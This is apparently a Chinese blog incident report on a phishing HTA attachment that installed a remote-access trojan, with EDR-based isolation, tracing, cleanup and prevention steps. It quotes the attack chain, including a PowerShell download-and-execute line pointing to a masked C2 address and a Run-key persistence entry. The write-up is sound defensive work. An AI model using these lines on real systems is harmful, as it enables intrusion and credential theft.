钓鱼邮件致终端感染远控木马:溯源与处置

员工点击钓鱼邮件附件后终端植入远控木马,通过 EDR 告警与进程溯源完成隔离与清除。

一、问题背景

我司终端安全统一由 EDR(Endpoint Detection and Response,采用 CrowdStrike Falcon)纳管,全量约 2400 台办公终端均安装了轻量 Agent,开启行为检测与勒索防护。办公网通过域控下发组策略,约束软件安装与宏执行。网络侧有邮件安全网关(Mimecast)做反钓鱼与附件沙箱。

2025-08-14 上午 09:51,EDR 控制台弹出一条"Malicious PowerShell Behavior"高危告警,涉及研发部员工 zhang.qiang 的笔记本(主机名 LAPTOP-ZQ,IP 10.20.35.77,OS Windows 11 23H2)。告警摘要指出该终端在数分钟内发起了与外网 C2 的可疑 HTTPS 通信,并伴随无文件 PowerShell 载荷执行。作为当班安全运维,我立即接入终端取证与隔离流程。

二、故障现象

EDR 告警原文如下:

1
2
3
4
5
6
7
8
[DETECT] Malicious PowerShell / C2 Beacon
主机: LAPTOP-ZQ (10.20.35.77)
用户: DOMAIN\zhang.qiang
进程: powershell.exe (PID 8421) <- wscript.exe (PID 7990)
行为: 下载并执行远程脚本 (IEX + Invoke-WebRequest)
C2: 185.xx.xx.141:443 (NL, 伪装为 CDN)
文件落地: %TEMP%\updater.dll
检测引擎: IOA (Indicator of Attack)

同时观测到该终端:

  • 出口防火墙日志显示 09:48 起向 185.xx.xx.141 发起周期性 HTTPS 请求(约每 60 秒一次,典型信标心跳)。
  • 主机进程树出现 wscript.exe → powershell.exe → rundll32.exe 的异常链路,且 rundll32 加载了临时目录下的 updater.dll
  • zhang.qiang 反馈:早上收到一封"快递包裹异常"的钓鱼邮件,附件是 package_notice.hta,双击后弹出"无法打开"的假错误,但之后电脑风扇转得厉害、偶有卡顿。

基本判定:钓鱼 HTA 附件释放了远控木马(RAT),终端已沦为 C2 控制的肉鸡。

三、排查过程

第一步:网络隔离,防止横向扩散。

在不关停主机、保留内存现场的前提下,先通过 EDR 一键"Network Containment"将终端从业务 VLAN 隔离到 quarantine 网段,仅保留与 EDR 控制台的通信:

1
2
EDR Action: Contain Host LAPTOP-ZQ
Result: Success. Host isolated at 09:53. North-south traffic blocked.

第二步:进程与文件溯源。

从 EDR 拉取进程树,还原攻击链:

1
2
3
4
5
[1] outlook.exe (PID 5120) 打开附件 package_notice.hta
[2] mshta.exe  (PID 7766) 解析 HTA,释放 %TEMP%\loader.js
[3] wscript.exe(PID 7990) 执行 loader.js
[4] powershell.exe (PID 8421) IEX(Invoke-WebRequest http://185.xx.xx.141/upd.bin)
[5] rundll32.exe (PID 8602) 加载 %TEMP%\updater.dll (RAT 载荷)

在终端上用 Autoruns 检查发现木马已写入启动项:

1
2
3
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" |
  Select-Object * | Format-List
# 输出含: Updater = "rundll32.exe %TEMP%\updater.dll,Start"

第三步:IOC 提取与影响面排查。

提取本次 IOC:C2 域名/IP、落地文件哈希(SHA256)、HTA 样本。在 SIEM 中全网下发检索,确认仅 LAPTOP-ZQ 一台主机命中,未出现横向移动(该木马本身不含内网传播模块,但已尝试读取浏览器保存的密码与域凭证缓存)。

1
2
3
4
5
全网 IOC 命中扫描:
  185.xx.xx.141        命中主机: 1 (LAPTOP-ZQ)
  updater.dll SHA256   命中主机: 1
  package_notice.hta   命中主机: 1
结论: 单点失陷,无扩散。

四、解决方案

处置以"清除 + 凭证吊销 + 恢复"为主线:

  1. 终止恶意进程并删除持久化
1
2
3
Stop-Process -Name rundll32, powershell, wscript, mshta -Force
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Updater"
Remove-Item "$env:TEMP\updater.dll","$env:TEMP\loader.js","$env:TEMP\package_notice.hta" -Force
  1. 吊销并重置凭证:该终端曾登录过域账号,存在凭证缓存风险,强制 zhang.qiang 改密并使其所有 TGT 失效(Set-ADAccountPassword + krbtgt 滚动待评估);同时让其注销已登录的 Web 应用会话。

  2. 样本提交与封堵:将 HTA/RAT 样本上传沙箱(ANY.RUN)做深度分析,提取 C2 域名加入防火墙与邮件网关黑名单;在 EDR 中创建自定义 IOC 阻止规则,全网阻断该哈希。

  3. 系统恢复:由于 RAT 可能残留在系统目录,按安全规范不冒险"手工清理",而是从标准镜像重装系统并还原个人数据(数据盘已隔离备份),确保彻底干净。

  4. 解除隔离与复盘:恢复后解除 Network Containment,10:20 终端回归业务网,全程未影响其他员工。

五、根因分析

  1. 入口:钓鱼邮件附件 package_notice.hta 利用了 mshta.exe 可直接执行 HTA 脚本的特性,绕过了"禁用宏"的防护(HTA 不属于 Office 宏,组策略未限制)。
  2. 载荷:HTA 内嵌 JavaScript 经 wscript 调用 PowerShell 下载二次载荷,使用 IEX 无文件执行规避磁盘查杀,再用 rundll32 加载 DLL 实现常驻,属于典型的"无文件 + 落地 DLL"混合技战术。
  3. 短板:终端组策略未禁用 mshta.exe 与脚本宿主(wscript/cscript);邮件网关沙箱对 HTA 类附件的检出率不足;该员工安全意识培训覆盖不全。

六、预防措施

  • 收紧脚本宿主:通过 GPO 禁用 mshta.exewscript.execscript.exe 的非必要执行(或仅允许白名单路径),从源头掐断 HTA 执行链。
  • 强化邮件网关:在 Mimecast 中对 .hta/.js/.vbs/.scr 等危险扩展名直接剥离或隔离,并提升沙箱对无文件载荷的检出策略。
  • 攻击面收敛:启用 EDR 的"脚本控制/PowerShell 约束语言模式",对 IEX + Invoke-WebRequest 这类组合做默认阻断。
  • 凭证保护:推广 Windows Hello for Business 替代密码登录,降低终端缓存凭证被窃取的价值;启用 LSASS 受保护进程。
  • 意识与演练:将 HTA/快捷方式类钓鱼纳入季度钓鱼演练,对研发等高风险岗位增加专项培训。

七、总结

这是一次标准的"钓鱼 HTA → 无文件 PowerShell → DLL 远控"终端失陷事件。EDR 的行为检测(IOA)在攻击链早期就抓住了 PowerShell 异常,配合一键网络隔离,把影响牢牢限制在了单台终端,没有波及内网。最大的启示是:传统"基于文件哈希"的杀毒对无文件攻击几乎无效,必须依赖 EDR 的行为分析与快速 containment 能力;而 GPO 对 mshta/脚本宿主的禁用,则是性价比极高的一道前置防线。终端安全没有银弹,但"EDR 看得见 + 隔离快 + 策略收得紧 + 人训得到位"四件套,足以把绝大多数同类事件挡在可控范围内。

使用 Hugo 构建
主题 StackJimmy 设计